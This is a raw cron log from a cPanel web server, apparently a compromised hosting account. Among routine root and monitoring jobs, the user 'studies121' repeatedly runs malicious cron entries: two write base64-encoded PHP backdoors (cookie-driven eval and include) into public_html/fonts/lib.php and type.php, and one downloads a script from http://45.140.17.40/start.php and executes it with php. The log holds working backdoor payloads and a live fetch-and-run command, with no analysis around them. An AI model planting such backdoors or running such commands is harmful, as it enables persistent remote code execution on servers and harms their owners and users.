Aug 31 04:36:01 ip-184-168-122-23 CROND[29797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:36:01 ip-184-168-122-23 CROND[29794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:36:01 ip-184-168-122-23 CROND[29796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:36:01 ip-184-168-122-23 CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:37:01 ip-184-168-122-23 CROND[29914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:37:01 ip-184-168-122-23 CROND[29915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:37:01 ip-184-168-122-23 CROND[29917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:37:01 ip-184-168-122-23 CROND[29916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:38:01 ip-184-168-122-23 CROND[30022]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Aug 31 04:38:01 ip-184-168-122-23 CROND[30023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:38:01 ip-184-168-122-23 CROND[30024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:38:01 ip-184-168-122-23 CROND[30026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:38:01 ip-184-168-122-23 CROND[30029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:38:01 ip-184-168-122-23 CROND[30028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:39:01 ip-184-168-122-23 CROND[30271]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 04:39:01 ip-184-168-122-23 CROND[30270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:39:01 ip-184-168-122-23 CROND[30276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:39:01 ip-184-168-122-23 CROND[30275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:39:01 ip-184-168-122-23 CROND[30277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:40:02 ip-184-168-122-23 CROND[30412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:40:02 ip-184-168-122-23 CROND[30417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:40:02 ip-184-168-122-23 CROND[30419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:41:01 ip-184-168-122-23 CROND[30537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:41:01 ip-184-168-122-23 CROND[30541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:41:01 ip-184-168-122-23 CROND[30540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:41:01 ip-184-168-122-23 CROND[30539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:42:01 ip-184-168-122-23 CROND[30631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:42:01 ip-184-168-122-23 CROND[30633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:42:01 ip-184-168-122-23 CROND[30635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:42:01 ip-184-168-122-23 CROND[30634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:42:01 ip-184-168-122-23 CROND[30636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:43:01 ip-184-168-122-23 CROND[30741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:43:01 ip-184-168-122-23 CROND[30744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:43:01 ip-184-168-122-23 CROND[30743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:43:01 ip-184-168-122-23 CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:44:01 ip-184-168-122-23 CROND[30935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:44:01 ip-184-168-122-23 CROND[30937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:44:01 ip-184-168-122-23 CROND[30938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:44:01 ip-184-168-122-23 CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:44:01 ip-184-168-122-23 CROND[30939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:45:01 ip-184-168-122-23 CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:45:01 ip-184-168-122-23 CROND[31055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:45:01 ip-184-168-122-23 CROND[31056]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 04:45:01 ip-184-168-122-23 CROND[31057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:45:01 ip-184-168-122-23 CROND[31058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:45:01 ip-184-168-122-23 CROND[31060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:45:01 ip-184-168-122-23 CROND[31061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:46:01 ip-184-168-122-23 CROND[31167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31168]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:46:01 ip-184-168-122-23 CROND[31171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:47:01 ip-184-168-122-23 CROND[31281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:47:01 ip-184-168-122-23 CROND[31283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:47:01 ip-184-168-122-23 CROND[31285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:47:01 ip-184-168-122-23 CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:48:01 ip-184-168-122-23 CROND[31396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:48:01 ip-184-168-122-23 CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
